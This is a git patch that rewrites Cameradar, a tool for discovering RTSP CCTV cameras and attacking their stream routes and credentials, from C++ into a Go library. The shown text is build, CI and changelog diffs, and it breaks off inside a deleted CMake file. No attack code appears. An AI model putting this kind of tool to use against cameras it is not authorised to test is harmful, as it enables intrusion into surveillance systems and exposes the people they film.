From 40512f52871df449bed38373ae35f1a5d5b0e798 Mon Sep 17 00:00:00 2001 From: Brendan LE GLAUNEC Date: Mon, 18 Sep 2017 22:07:19 +0200 Subject: [PATCH] v2.0.0: Cameradar becomes a golang library and cameraccess replaces the old cameradar (#75) * Better performance * Better UX * Lighter docker image * More control over the features * Suited for devs * Better documentation * No tests yet --- .clang-format | 61 - .gitignore | 43 +- .travis.yml | 46 +- CHANGELOG.md | 63 +- CMakeLists.txt | 130 - Dockerfile | 23 + README.md | 295 +- cache_managers/CMakeLists.txt | 24 - .../dumb_cache_manager/CMakeLists.txt | 33 - .../include/dumb_cache_manager.h | 54 - .../src/dumb_cache_manager.cpp | 104 - .../mysql_cache_manager/CMakeLists.txt | 33 - .../mysql_cache_manager/include/db_conn.h | 85 - .../include/mysql_cache_manager.h | 85 - .../include/query_result.h | 65 - .../mysql_cache_manager/src/db_conn.cpp | 138 - .../src/mysql_cache_manager.cpp | 292 -- cameraccess/main.go | 106 + cameradar/attack.go | 232 + cameradar/discover.go | 152 + cameradar/helpers.go | 38 + cameradar/loaders.go | 58 + cameradar/models.go | 38 + cameradar/xml_models.go | 62 + cameradar_standalone/CMakeLists.txt | 60 - cameradar_standalone/conf/cameradar.conf.json | 16 - cameradar_standalone/conf/ids.json | 31 - cameradar_standalone/conf/url.json | 117 - cameradar_standalone/include/cachemanager.h | 185 - cameradar_standalone/include/cameradar_task.h | 30 - cameradar_standalone/include/configuration.h | 79 - cameradar_standalone/include/describe.h | 26 - cameradar_standalone/include/dispatcher.h | 84 - cameradar_standalone/include/encode.h | 38 - cameradar_standalone/include/fmt.h | 42 - cameradar_standalone/include/fs.h | 47 - cameradar_standalone/include/launch_command.h | 25 - cameradar_standalone/include/logger.h | 103 - cameradar_standalone/include/opt_parse.h | 98 - cameradar_standalone/include/rtsp_path.h | 26 - cameradar_standalone/include/signal_handler.h | 70 - .../include/spdlog/async_logger.h | 71 - cameradar_standalone/include/spdlog/common.h | 88 - .../include/spdlog/details/async_log_helper.h | 313 -- .../spdlog/details/async_logger_impl.h | 72 - .../include/spdlog/details/file_helper.h | 117 - .../include/spdlog/details/format.cc | 934 ---- .../include/spdlog/details/format.h | 3852 ----------------- .../include/spdlog/details/line_logger.h | 156 - .../include/spdlog/details/log_msg.h | 79 - .../include/spdlog/details/logger_impl.h | 299 -- .../include/spdlog/details/mpmc_bounded_q.h | 157 - .../include/spdlog/details/null_mutex.h | 24 - .../include/spdlog/details/os.h | 215 - .../spdlog/details/pattern_formatter_impl.h | 625 --- .../include/spdlog/details/registry.h | 162 - .../include/spdlog/details/spdlog_impl.h | 135 - .../include/spdlog/formatter.h | 35 - cameradar_standalone/include/spdlog/logger.h | 123 - .../include/spdlog/sinks/android_sink.h | 67 - .../include/spdlog/sinks/base_sink.h | 43 - .../include/spdlog/sinks/dist_sink.h | 62 - .../include/spdlog/sinks/file_sinks.h | 210 - .../include/spdlog/sinks/null_sink.h | 26 - .../include/spdlog/sinks/ostream_sink.h | 45 - .../include/spdlog/sinks/sink.h | 19 - .../include/spdlog/sinks/stdout_sinks.h | 48 - .../include/spdlog/sinks/syslog_sink.h | 76 - cameradar_standalone/include/spdlog/spdlog.h | 151 - cameradar_standalone/include/stream_model.h | 54 - .../include/tasks/creds_attack.h | 48 - cameradar_standalone/include/tasks/mapping.h | 43 - cameradar_standalone/include/tasks/parsing.h | 45 - .../include/tasks/path_attack.h | 49 - cameradar_standalone/include/tasks/print.h | 42 - .../include/tasks/stream_check.h | 45 - .../include/tasks/thumbnail.h | 48 - cameradar_standalone/include/tinystr.h | 303 -- cameradar_standalone/include/tinyxml.h | 2277 ---------- cameradar_standalone/src/cachemanager.cpp | 132 - cameradar_standalone/src/configuration.cpp | 238 - cameradar_standalone/src/describe.cpp | 104 - cameradar_standalone/src/dispatcher.cpp | 108 - cameradar_standalone/src/encode.cpp | 79 - cameradar_standalone/src/launch_command.cpp | 39 - cameradar_standalone/src/main.cpp | 135 - cameradar_standalone/src/opt_parse.cpp | 131 - cameradar_standalone/src/rtsp_path.cpp | 37 - cameradar_standalone/src/signal_handler.cpp | 47 - cameradar_standalone/src/stream_model.cpp | 39 - .../src/tasks/creds_attack.cpp | 129 - cameradar_standalone/src/tasks/mapping.cpp | 60 - cameradar_standalone/src/tasks/parsing.cpp | 122 - .../src/tasks/path_attack.cpp | 114 - cameradar_standalone/src/tasks/print.cpp | 47 - .../src/tasks/stream_check.cpp | 77 - cameradar_standalone/src/tasks/thumbnail.cpp | 116 - cameradar_standalone/src/tinystr.cpp | 94 - cameradar_standalone/src/tinyxml.cpp | 1547 ------- cameradar_standalone/src/tinyxmlerror.cpp | 51 - cameradar_standalone/src/tinyxmlparser.cpp | 1409 ------ cmake/find_sources.cmake | 28 - cmake/jsoncpp.cmake | 47 - cmake/mysql_connector.cmake | 50 - deployment/Dockerfile | 27 - deployment/build_last_package.sh | 55 - .../cameradar_1.1.4_Release_Linux.tar.gz | Bin 807331 -> 0 bytes deployment/conf/cameradar.tmpl.conf.json | 16 - deployment/conf/ids.json | 31 - deployment/conf/url.json | 117 - deployment/docker-compose.yml | 25 - deployment/docker-entrypoint.sh | 48 - deps/CMakeLists.txt | 23 - deps/licenses/boost.txt | 23 - deps/licenses/jsoncpp.txt | 55 - .../ids.json => dictionaries/credentials.json | 4 +- dictionaries/routes | 113 + images/AttackCredentials.png | Bin 0 -> 110349 bytes images/AttackRoute.png | Bin 0 -> 101906 bytes images/Discover.png | Bin 0 -> 246683 bytes images/LoadCredentials.png | Bin 0 -> 58835 bytes images/LoadRoutes.png | Bin 0 -> 52405 bytes images/Models.png | Bin 0 -> 314913 bytes images/NmapPresets.png | Bin 0 -> 333223 bytes images/Output.png | Bin 0 -> 220251 bytes images/ParseNmapResults.png | Bin 0 -> 83791 bytes images/RTSPURL.png | Bin 0 -> 37139 bytes images/RunNmap.png | Bin 0 -> 71931 bytes test/Dockerfile | 42 - test/Dockerfile-camera | 22 - test/build_last_package.sh | 55 - test/camera_emulation_server | Bin 132352 -> 0 bytes test/conf/cameradar.conf.json | 16 - test/conf/cameratest.conf.json | 44 - test/conf/url.json | 77 - test/docker/cameratest.conf.tmpl.json | 19 - test/docker/conf/ids.json | 31 - test/docker/conf/url.json | 77 - test/docker/gen_cameras.sh | 111 - test/docker/run_cameradartest.sh | 25 - test/docker/run_ces.sh | 22 - test/src/configuration.go | 45 - test/src/db.go | 43 - test/src/logReader.go | 46 - test/src/main.go | 47 - test/src/result.go | 97 - test/src/service.go | 105 - test/src/testCase.go | 97 - test/src/tester.go | 67 - test/src/writeResult.go | 161 - test/test.sh | 72 - version.h.in | 26 - 152 files changed, 980 insertions(+), 20379 deletions(-) delete mode 100644 .clang-format delete mode 100644 CMakeLists.txt create mode 100644 Dockerfile delete mode 100644 cache_managers/CMakeLists.txt delete mode 100644 cache_managers/dumb_cache_manager/CMakeLists.txt delete mode 100644 cache_managers/dumb_cache_manager/include/dumb_cache_manager.h delete mode 100644 cache_managers/dumb_cache_manager/src/dumb_cache_manager.cpp delete mode 100644 cache_managers/mysql_cache_manager/CMakeLists.txt delete mode 100644 cache_managers/mysql_cache_manager/include/db_conn.h delete mode 100644 cache_managers/mysql_cache_manager/include/mysql_cache_manager.h delete mode 100644 cache_managers/mysql_cache_manager/include/query_result.h delete mode 100644 cache_managers/mysql_cache_manager/src/db_conn.cpp delete mode 100644 cache_managers/mysql_cache_manager/src/mysql_cache_manager.cpp create mode 100644 cameraccess/main.go create mode 100644 cameradar/attack.go create mode 100644 cameradar/discover.go create mode 100644 cameradar/helpers.go create mode 100644 cameradar/loaders.go create mode 100644 cameradar/models.go create mode 100644 cameradar/xml_models.go delete mode 100644 cameradar_standalone/CMakeLists.txt delete mode 100644 cameradar_standalone/conf/cameradar.conf.json delete mode 100644 cameradar_standalone/conf/ids.json delete mode 100644 cameradar_standalone/conf/url.json delete mode 100644 cameradar_standalone/include/cachemanager.h delete mode 100644 cameradar_standalone/include/cameradar_task.h delete mode 100644 cameradar_standalone/include/configuration.h delete mode 100644 cameradar_standalone/include/describe.h delete mode 100644 cameradar_standalone/include/dispatcher.h delete mode 100644 cameradar_standalone/include/encode.h delete mode 100644 cameradar_standalone/include/fmt.h delete mode 100644 cameradar_standalone/include/fs.h delete mode 100644 cameradar_standalone/include/launch_command.h delete mode 100644 cameradar_standalone/include/logger.h delete mode 100644 cameradar_standalone/include/opt_parse.h delete mode 100644 cameradar_standalone/include/rtsp_path.h delete mode 100644 cameradar_standalone/include/signal_handler.h delete mode 100644 cameradar_standalone/include/spdlog/async_logger.h delete mode 100644 cameradar_standalone/include/spdlog/common.h delete mode 100644 cameradar_standalone/include/spdlog/details/async_log_helper.h delete mode 100644 cameradar_standalone/include/spdlog/details/async_logger_impl.h delete mode 100644 cameradar_standalone/include/spdlog/details/file_helper.h delete mode 100644 cameradar_standalone/include/spdlog/details/format.cc delete mode 100644 cameradar_standalone/include/spdlog/details/format.h delete mode 100644 cameradar_standalone/include/spdlog/details/line_logger.h delete mode 100644 cameradar_standalone/include/spdlog/details/log_msg.h delete mode 100644 cameradar_standalone/include/spdlog/details/logger_impl.h delete mode 100644 cameradar_standalone/include/spdlog/details/mpmc_bounded_q.h delete mode 100644 cameradar_standalone/include/spdlog/details/null_mutex.h delete mode 100644 cameradar_standalone/include/spdlog/details/os.h delete mode 100644 cameradar_standalone/include/spdlog/details/pattern_formatter_impl.h delete mode 100644 cameradar_standalone/include/spdlog/details/registry.h delete mode 100644 cameradar_standalone/include/spdlog/details/spdlog_impl.h delete mode 100644 cameradar_standalone/include/spdlog/formatter.h delete mode 100644 cameradar_standalone/include/spdlog/logger.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/android_sink.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/base_sink.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/dist_sink.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/file_sinks.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/null_sink.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/ostream_sink.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/sink.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/stdout_sinks.h delete mode 100644 cameradar_standalone/include/spdlog/sinks/syslog_sink.h delete mode 100644 cameradar_standalone/include/spdlog/spdlog.h delete mode 100644 cameradar_standalone/include/stream_model.h delete mode 100644 cameradar_standalone/include/tasks/creds_attack.h delete mode 100644 cameradar_standalone/include/tasks/mapping.h delete mode 100644 cameradar_standalone/include/tasks/parsing.h delete mode 100644 cameradar_standalone/include/tasks/path_attack.h delete mode 100644 cameradar_standalone/include/tasks/print.h delete mode 100644 cameradar_standalone/include/tasks/stream_check.h delete mode 100644 cameradar_standalone/include/tasks/thumbnail.h delete mode 100644 cameradar_standalone/include/tinystr.h delete mode 100644 cameradar_standalone/include/tinyxml.h delete mode 100644 cameradar_standalone/src/cachemanager.cpp delete mode 100644 cameradar_standalone/src/configuration.cpp delete mode 100644 cameradar_standalone/src/describe.cpp delete mode 100644 cameradar_standalone/src/dispatcher.cpp delete mode 100644 cameradar_standalone/src/encode.cpp delete mode 100644 cameradar_standalone/src/launch_command.cpp delete mode 100644 cameradar_standalone/src/main.cpp delete mode 100644 cameradar_standalone/src/opt_parse.cpp delete mode 100644 cameradar_standalone/src/rtsp_path.cpp delete mode 100644 cameradar_standalone/src/signal_handler.cpp delete mode 100644 cameradar_standalone/src/stream_model.cpp delete mode 100644 cameradar_standalone/src/tasks/creds_attack.cpp delete mode 100644 cameradar_standalone/src/tasks/mapping.cpp delete mode 100644 cameradar_standalone/src/tasks/parsing.cpp delete mode 100644 cameradar_standalone/src/tasks/path_attack.cpp delete mode 100644 cameradar_standalone/src/tasks/print.cpp delete mode 100644 cameradar_standalone/src/tasks/stream_check.cpp delete mode 100644 cameradar_standalone/src/tasks/thumbnail.cpp delete mode 100644 cameradar_standalone/src/tinystr.cpp delete mode 100644 cameradar_standalone/src/tinyxml.cpp delete mode 100644 cameradar_standalone/src/tinyxmlerror.cpp delete mode 100644 cameradar_standalone/src/tinyxmlparser.cpp delete mode 100644 cmake/find_sources.cmake delete mode 100644 cmake/jsoncpp.cmake delete mode 100644 cmake/mysql_connector.cmake delete mode 100644 deployment/Dockerfile delete mode 100755 deployment/build_last_package.sh delete mode 100644 deployment/cameradar_1.1.4_Release_Linux.tar.gz delete mode 100644 deployment/conf/cameradar.tmpl.conf.json delete mode 100644 deployment/conf/ids.json delete mode 100644 deployment/conf/url.json delete mode 100644 deployment/docker-compose.yml delete mode 100755 deployment/docker-entrypoint.sh delete mode 100644 deps/CMakeLists.txt delete mode 100644 deps/licenses/boost.txt delete mode 100644 deps/licenses/jsoncpp.txt rename test/conf/ids.json => dictionaries/credentials.json (90%) create mode 100644 dictionaries/routes create mode 100644 images/AttackCredentials.png create mode 100644 images/AttackRoute.png create mode 100644 images/Discover.png create mode 100644 images/LoadCredentials.png create mode 100644 images/LoadRoutes.png create mode 100644 images/Models.png create mode 100644 images/NmapPresets.png create mode 100644 images/Output.png create mode 100644 images/ParseNmapResults.png create mode 100644 images/RTSPURL.png create mode 100644 images/RunNmap.png delete mode 100644 test/Dockerfile delete mode 100644 test/Dockerfile-camera delete mode 100755 test/build_last_package.sh delete mode 100755 test/camera_emulation_server delete mode 100644 test/conf/cameradar.conf.json delete mode 100644 test/conf/cameratest.conf.json delete mode 100644 test/conf/url.json delete mode 100644 test/docker/cameratest.conf.tmpl.json delete mode 100644 test/docker/conf/ids.json delete mode 100644 test/docker/conf/url.json delete mode 100755 test/docker/gen_cameras.sh delete mode 100755 test/docker/run_cameradartest.sh delete mode 100755 test/docker/run_ces.sh delete mode 100644 test/src/configuration.go delete mode 100644 test/src/db.go delete mode 100644 test/src/logReader.go delete mode 100644 test/src/main.go delete mode 100644 test/src/result.go delete mode 100644 test/src/service.go delete mode 100644 test/src/testCase.go delete mode 100644 test/src/tester.go delete mode 100644 test/src/writeResult.go delete mode 100755 test/test.sh delete mode 100644 version.h.in diff --git a/.clang-format b/.clang-format deleted file mode 100644 index c4a0e94..0000000 --- a/.clang-format +++ /dev/null @@ -1,61 +0,0 @@ ---- -Language: Cpp -# BasedOnStyle: Mozilla -AccessModifierOffset: -4 -ConstructorInitializerIndentWidth: 0 -AlignEscapedNewlinesLeft: false -AlignTrailingComments: true -AllowAllParametersOfDeclarationOnNextLine: true -AllowShortBlocksOnASingleLine: true -AllowShortCaseLabelsOnASingleLine: true -AllowShortIfStatementsOnASingleLine: true -AllowShortLoopsOnASingleLine: true -AllowShortFunctionsOnASingleLine: All -AlwaysBreakAfterDefinitionReturnType: true -AlwaysBreakTemplateDeclarations: true -AlwaysBreakBeforeMultilineStrings: true -BreakBeforeBinaryOperators: None -BreakBeforeTernaryOperators: true -BreakConstructorInitializersBeforeComma: true -BinPackParameters: false -BinPackArguments: false -ColumnLimit: 100 -ConstructorInitializerAllOnOneLineOrOnePerLine: true -DerivePointerAlignment: false -ExperimentalAutoDetectBinPacking: false -IndentCaseLabels: false -IndentWrappedFunctionNames: false -IndentFunctionDeclarationAfterType: false -MaxEmptyLinesToKeep: 1 -KeepEmptyLinesAtTheStartOfBlocks: false -NamespaceIndentation: None -ObjCSpaceAfterProperty: false -ObjCSpaceBeforeProtocolList: true -PenaltyBreakBeforeFirstCallParameter: 19 -PenaltyBreakComment: 300 -PenaltyBreakString: 1000 -PenaltyBreakFirstLessLess: 120 -PenaltyExcessCharacter: 1000000 -PenaltyReturnTypeOnItsOwnLine: 60 -PointerAlignment: Left -SpacesBeforeTrailingComments: 1 -Cpp11BracedListStyle: false -Standard: Cpp11 -IndentWidth: 4 -TabWidth: 8 -UseTab: Never -BreakBeforeBraces: Attach -SpacesInParentheses: false -SpacesInSquareBrackets: false -SpacesInAngles: false -SpaceInEmptyParentheses: false -SpacesInCStyleCastParentheses: false -SpaceAfterCStyleCast: false -SpacesInContainerLiterals: true -SpaceBeforeAssignmentOperators: true -ContinuationIndentWidth: 4 -CommentPragmas: '^ IWYU pragma:' -ForEachMacros: [ foreach, Q_FOREACH, BOOST_FOREACH ] -SpaceBeforeParens: ControlStatements -DisableFormat: false -... diff --git a/.gitignore b/.gitignore index 3f6901c..fa20c39 100644 --- a/.gitignore +++ b/.gitignore @@ -1,46 +1,15 @@ -# Compiled Object files -*.slo -*.lo -*.o -*.obj - -# Precompiled Headers -*.gch -*.pch - -# Compiled Dynamic libraries -*.so -*.dylib -*.dll - -# Fortran module files -*.mod - -# Compiled Static libraries -*.lai -*.la -*.a -*.lib - -# Executables -*.exe -*.out -*.app - # Results result.json -test-results.xml +*.xml -# Build -build/ - -# JetBrains +# IDE config .idea/ +.vscode/ # Deps -deps/boost/ -deps/jsoncpp/ -mysql-connector/ +cpp/deps/jsoncpp/ +cpp/deps/mysql-connector/ +cpp/deployment/cameradar_*_Release_Linux.tar.gz # Test test/cameradartest.conf.json diff --git a/.travis.yml b/.travis.yml index 90d43d8..2da32a1 100644 --- a/.travis.yml +++ b/.travis.yml @@ -6,53 +6,13 @@ before_install: - echo "Testing Docker Hub credentials" - docker login -u=$DOCKER_USERNAME -p=$DOCKER_PASSWORD - echo "Docker Hub credentials are working" -- sudo apt-get update -qq -- sudo apt-get install -y software-properties-common -- sudo add-apt-repository -y ppa:mc3man/trusty-media -- sudo add-apt-repository -y ppa:george-edison55/cmake-3.x -- sudo apt-get update -qq -- sudo apt-get install -y nmap -- sudo apt-get install -y ffmpeg -- sudo apt-get install -y cmake -- sudo apt-get install -y libboost-all-dev -- sudo apt-get install -y libgstreamer1.0-dev -- sudo apt-get install -y gstreamer1.0-plugins-base -- sudo apt-get install -y gstreamer1.0-plugins-good -- sudo apt-get install -y libcurl4-openssl-dev -- sudo apt-get install -y libmysqlclient18 -- sudo apt-get install -y mysql-client install: -- export DEPS_DIR="${TRAVIS_BUILD_DIR}/deps" -- export PACKAGE_NAME="cameradar_*_Debug_Linux" - -matrix: - include: - - os: linux - env: TEST_TYPE='BUILD' WORKDIR='deployment' COMPILER_NAME=gcc CXX=g++-5 CC=gcc-5 CMAKE_CXX_COMPILER=g++-5 - addons: - apt: - packages: - - g++-5 - sources: &sources - - ubuntu-toolchain-r-test - - os: linux - env: TEST_TYPE='TEST' WORKDIR='test' COMPILER_NAME=gcc CXX=g++-5 CC=gcc-5 CMAKE_CXX_COMPILER=g++-5 - addons: - apt: - packages: - - g++-5 - sources: &sources - - ubuntu-toolchain-r-test +- docker build -t cameradar . script: -- cd ${WORKDIR} -- ./build_last_package.sh Debug -- tar xvf ${PACKAGE_NAME}.tar.gz -- find ${DEPS_DIR} -name "*.so*" -exec cp {} ${PACKAGE_NAME}/libraries \; -- tar -czvf ${PACKAGE_NAME}.tar.gz ${PACKAGE_NAME} -- if [[ "$TEST_TYPE" == "BUILD" ]]; then docker build -t cameradar . && docker run -v /tmp/thumbs:/tmp/thumbs cameradar; else ./test.sh ; fi +- docker run cameradar after_success: - echo "Test Success - Branch($TRAVIS_BRANCH) Pull Request($TRAVIS_PULL_REQUEST) Tag($TRAVIS_TAG)" -- if [[ "$TRAVIS_BRANCH" == "master" ]]; then echo -e "Push Container to Docker Hub" && docker login -u $DOCKER_USERNAME -p $DOCKER_PASSWORD && docker tag cameradar $DOCKER_REPO:$TRAVIS_TAG && docker tag cameradar $DOCKER_REPO:latest && docker push $DOCKER_REPO; fi +- if [[ "$TRAVIS_BRANCH" == "master" ]]; then echo -e "Push Container to Docker Hub" && docker login -u $DOCKER_USERNAME -p $DOCKER_PASSWORD && docker tag cameradar $DOCKER_REPO:latest && docker push $DOCKER_REPO; fi diff --git a/CHANGELOG.md b/CHANGELOG.md index ab87735..e396757 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,9 +2,19 @@ This file lists all versions of the repository and precises all changes. +## v2.0.0 + +#### Major changes: + +* Cameradar is no longer a C++ application but a Golang library +* Cameraccess is a Golang application replacing the former C++ one (the C++ Cameradar image can still be used with the tag `1.1.4`) +* The docker image for Cameraccess is lighter than the one for Cameradar +* The Cameradar golang library enables users to build their own application around camera discovery and attack. Example of applications could be an automatic camera discovery daemon with scheduled scans, a security audit tool to check if CCTV cameras are protected from attacks by being isolated and having strong passwords, etc. + ## v1.1.4 -#### Minor changes : +#### Minor changes: + * Simplified use of Docker image * Renamed MySQL table name to be more explicit * Refactoring of the Golang functional tester done @@ -14,18 +24,21 @@ This file lists all versions of the repository and precises all changes. * Updated dictionaries to add user suggestions for Chinese cameras * Enhanced `result.json` file's format -#### Bugfixes : +#### Bugfixes: + * Fixed a bug in the functional testing in which if the `result.json` file was not formatted correctly, the test failed but was still considered a success. ## v1.1.3 -#### Minor changes : +#### Minor changes: + * Added automatic pushes to DockerHub to the travis integration * Made travis configuration file better * Changed the package generation scripts to make them report errors * Removed old etix_rtsp_server binary from the test folder -#### Bugfixes : +#### Bugfixes: + * Fixed an issue that made it mandatory to launch tests at least once so that they can work the second time * Fixed an issue that made the golang testing tool not compile in the testing script * Fixed an issue that made the golang testing tool sometimes ignore some tests @@ -33,19 +46,22 @@ This file lists all versions of the repository and precises all changes. ## v1.1.2 -#### Minor changes : +#### Minor changes: + * Added travis integration * Added default environment value for Docker deployment * Updated docker image description with new easy usage * Updated README badges style (replaced flat with square-flat) * Build last package can now also generate a debug package if given the `Debug` command-line argument -#### Known issues : +#### Known issues + * There is still the issue with Camera Emulation Server, see the [previous version's patchnote](#v1.1.1) for more information. ## v1.1.1 -#### Minor changes : +#### Minor changes: + * Removed unnecessary null pointer checks (thanks to https://github.com/elfring) * Updated package description * Removed debug message in CMake build @@ -60,7 +76,8 @@ This file lists all versions of the repository and precises all changes. * JUnit output now contains errors which makes debugging much easier * Added header files where it was forgotten -#### Bugfixes : +#### Bugfixes: + * Fixed an issue where if you loose your internet connection during thumbnail generation, FFMpeg would get stuck forever and thus Cameradar would never finish * Fixed an issue where multithreading could cause crashes * Fixed an issue where the routes dictionary was mistaken for the credentials dictionary @@ -68,12 +85,14 @@ This file lists all versions of the repository and precises all changes. * Fixed automated camera generation * Fixed docker IP address resolution -#### Known issues : +#### Known issues: + * There is an issue with Camera Emulation Server that makes it impossible for Cameradar to generate thumbnails, which is why right now the verification of the thumbnails presence is commented and it is assumed correct. It is probably an issue with GST-RTSP-Server but requires investigation. ## v1.1.0 -#### Major changes : +#### Major changes: + * There are more command line options * Port can now be overridden in the command line * Target can now be overridden in the command line @@ -81,13 +100,15 @@ This file lists all versions of the repository and precises all changes. * Thumbnail generation is now multithreaded and will use as many threads as there are discovered cameras * There are now default configuration values in order to make cameradar easier to use -#### Minor changes : +#### Minor changes: + * The algorithms take external input into account (so that a 3rd party can change the DB to help Cameradar in real-time) and thus check the persistent data at each iteration * The default log level is now DEBUG instead of INFO * The attack logs are now INFO instead of DEBUG * The thumbnail generation logs are now INFO instead of DEBUG #### Bugs fixed + * Fixed a bug in which the MySQL cache manager would consider a camera with known ids as having a valid path even if it weren't * Fixed a bug in which TCP RTSP streams would not generate thumbnails @@ -98,23 +119,23 @@ This file lists all versions of the repository and precises all changes. ## v1.0.4 -#### Bugs fixed : +#### Bugs fixed: * Fixed nmap package detection ## v1.0.3 -#### Bugs fixed : +#### Bugs fixed: * Corrected GStreamer check ## v1.0.2 -#### Bugs fixed : +#### Bugs fixed: * Fixed issues in MySQL Cache Manager -#### Minor changes : +#### Minor changes: * Added useful debug logs @@ -122,11 +143,11 @@ This file lists all versions of the repository and precises all changes. ### Ubuntu 16.04 Release -#### Major changes : +#### Major changes: * The Docker deployment is now done using Ubuntu 16.04 instead of Ubuntu 15.10, so that it uses more recent packages. -#### Minor changes : +#### Minor changes: * Removed useless dependencies @@ -134,7 +155,7 @@ This file lists all versions of the repository and precises all changes. ### First production-ready release -#### Major changes : +#### Major changes: * Added functional testing @@ -142,15 +163,15 @@ This file lists all versions of the repository and precises all changes. After doing some testing on a weirdly configured camera network in a far away Datacenter, I discovered that some Cameras needed a few tweaks to the Cameradar attack method in order to be accessed. -#### Major changes : +#### Major changes: * Cameradar can access Cameras that are configured to always send 400 Bad Requests responses -#### Minor changes : +#### Minor changes: * Changed iterator name from `it` to `stream` in dumb cache manager to improve code readability -#### Bugfixes : +#### Bugfixes: * Cameradar no longer considers a timing out Camera as an accessible stream diff --git a/CMakeLists.txt b/CMakeLists.txt deleted file mode 100644 index 2948c4f..0000000 --- a/CMakeLists.txt +++ /dev/null @@ -1,130 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required (VERSION 2.8.1) -cmake_policy(SET CMP0048 OLD) - -set (PROJECT_NAME cameradar) - -project (${PROJECT_NAME}) - -set (${PROJECT_NAME}_VERSION_MAJOR 1) -set (${PROJECT_NAME}_VERSION_MINOR 1) -set (${PROJECT_NAME}_VERSION_PATCH 4) -set (${PROJECT_NAME}_VERSION "${${PROJECT_NAME}_VERSION_MAJOR}.${${PROJECT_NAME}_VERSION_MINOR}.${${PROJECT_NAME}_VERSION_PATCH}${${PROJECT_NAME}_SUFFIX}") - -find_package(Git REQUIRED) - -# compiler flags -set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++14") #enable C++14 -set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -W -Wall -Wextra -Wno-unused-function") # extra warnings -set (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fdiagnostics-color") #enable error coloration on gcc - -# release specific flags -set (CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O2") - -#debug specific flags -set (CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -g -fprofile-arcs -ftest-coverage") - -# rpath enable osx -set(CMAKE_MACOSX_RPATH 1) - -# list of all cache managers -set (CAMERADAR_CACHE_MANAGERS "") - -# dependencies directory -set(DEPS_DIR ${CMAKE_SOURCE_DIR}/deps) - -# output path for cache managers -set (CAMERADAR_CACHE_MANAGER_OUTPUT_FOLDER cache_managers) -set (CAMERADAR_CACHE_MANAGER_OUTPUT_PATH ${CMAKE_BINARY_DIR}/${CAMERADAR_CACHE_MANAGER_OUTPUT_FOLDER}) - -set(CMAKE_MODULE_PATH ${PROJECT_SOURCE_DIR}/cmake) - -# the place where the version.h file is generated, used from the main.cpp of cameradar -set (VERSION_INCLUDE_DIR ${PROJECT_BINARY_DIR}) - -# get the git revision -message (STATUS "retrieve current git revision SHA1 of cameradar") -execute_process( - COMMAND "git" "rev-parse" "HEAD" - WORKING_DIRECTORY ${PROJECT_SOURCE_DIR} - OUTPUT_VARIABLE CAMERADAR_GIT_SHA1 -) - -# remove last character of the git output (\n) -string(LENGTH ${CAMERADAR_GIT_SHA1} CAMERADAR_GIT_SHA1_LEN) -math(EXPR CAMERADAR_GIT_SHA1_LEN "${CAMERADAR_GIT_SHA1_LEN} - 1") -string(SUBSTRING ${CAMERADAR_GIT_SHA1} 0 ${CAMERADAR_GIT_SHA1_LEN} CAMERADAR_GIT_SHA1) - -# print the SHA1 -message (STATUS "current cameradar git revision SHA1 is ${CAMERADAR_GIT_SHA1}") - -# generate build number from the current timestamp -string(TIMESTAMP CAMERADAR_VERSION_BUILD "%Y%m%d%H%M%S" "UTC") - -# print version -message (STATUS "current cameradar build version will be ${CAMERADAR_VERSION_BUILD}") - -configure_file ( - "${PROJECT_SOURCE_DIR}/version.h.in" - "${PROJECT_BINARY_DIR}/version.h" -) - -# add all deps libraries to the link directories path -link_directories ( - # third party libraries - "deps/jsoncpp/src/deps.jsoncpp/src/lib_json" - "deps/boost/src/deps.boost/libs" - "deps/mysql-connector/lib" -) - -include_directories ( - "cameradar_standalone/include" - "deps/jsoncpp/src/deps.jsoncpp/include" - "deps/boost/src/deps.boost/include" - "deps/mysql-connector/include" -) - -set (${CAMERADAR_BINARIES} "") -set (${CAMERADAR_LIBRARIES} "") - -# Build cache managers -add_subdirectory (deps) -add_subdirectory (cameradar_standalone) -add_subdirectory (cache_managers) - -list (APPEND CAMERADAR_LIBRARIES ${CAMERADAR_INSTALL_DEPENDENCIES} ${CAMERADAR_LIBRARIES}) - -install (PROGRAMS ${CAMERADAR_BINARIES} DESTINATION bin) -install (FILES ${CAMERADAR_CACHE_MANAGERS} DESTINATION cache_managers) -install (FILES ${CAMERADAR_LIBRARIES} DESTINATION libraries) -install (DIRECTORY ${CMAKE_SOURCE_DIR}/deps/licenses DESTINATION libraries) - -# CPack configuration -include (InstallRequiredSystemLibraries) -set (CPACK_PACKAGE_DESCRIPTION_SUMMARY "cameradar") -set (CPACK_PACKAGE_VENDOR "Etix Labs") -set (CPACK_PACKAGE_DESCRIPTION_SUMMARY "Cameradar hacks its way into RTSP CCTV cameras") -set (CPACK_PACKAGE_FILE_NAME "${PROJECT_NAME}_${${PROJECT_NAME}_VERSION}_${CMAKE_BUILD_TYPE}_${CMAKE_SYSTEM_NAME}") -set (CPACK_PACKAGE_DESCRIPTION_FILE "${CMAKE_CURRENT_SOURCE_DIR}/README.md") -set (CPACK_RESOURCE_FILE_LICENSE "${CMAKE_CURRENT_SOURCE_DIR}/LICENSE") -set (CPACK_PACKAGE_VERSION_MAJOR "0") -set (CPACK_PACKAGE_VERSION_MINOR "2") -set (CPACK_PACKAGE_VERSION_PATCH "2") -set (CPACK_PACKAGE_INSTALL_DIRECTORY 